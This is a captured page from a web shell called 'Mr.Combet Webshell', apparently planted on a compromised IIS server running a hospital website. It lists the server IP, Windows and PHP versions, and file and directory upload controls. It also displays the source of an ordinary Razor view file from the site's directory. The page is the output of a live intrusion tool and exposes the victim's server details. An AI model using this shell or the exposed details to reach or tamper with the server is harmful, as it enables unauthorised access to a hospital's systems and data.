Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
BNBHospital
/
Views
/
Service
/
View File Name :
Image.cshtml
@model PagedList.IPagedList<bnb.Models.ServiceImageModel> @using PagedList.Mvc; <link href="~/Content/PagedList.css" rel="stylesheet" type="text/css" /> @{ ViewBag.Title = "Image"; Layout = "~/Views/Shared/_Layout.cshtml"; } <h2>Manage Service Image</h2> <p> <div style="float: right; margin-bottom: 10px;">@Html.ActionLink("Upload", "UploadImage", null, htmlAttributes: new { @class = "btn btn-info" })</div> </p> <table class="table"> <tr> <th> Image </th> <th> Department Name </th> <th> Caption </th> <th> Is Active </th> <th></th> </tr> @foreach (var item in Model) { <tr> <td> <img src="~/Content/img/@item.ImageUrl" style=" width: 130px; height: 80px" /> </td> <td> @Html.DisplayFor(modelItem => item.ServiceName) </td> <td> @Html.DisplayFor(modelItem => item.Caption) </td> <td> @Html.DisplayFor(modelItem => item.IsActive) </td> <td> @Html.ActionLink("Edit", "EditImage", new { id = item.ImageId }, new { @class = "btn btn-primary" }) @*@Html.ActionLink("Details", "Details", new { id = item.DepartmentId }, new { @class = "btn btn-warning" })*@ </td> </tr> } </table> Page @(Model.PageCount < Model.PageNumber ? 0 : Model.PageNumber) of @Model.PageCount @Html.PagedListPager(Model, page => Url.Action("Index", new { page, sortOrder = ViewBag.CurrentSort, currentFilter = ViewBag.CurrentFilter }))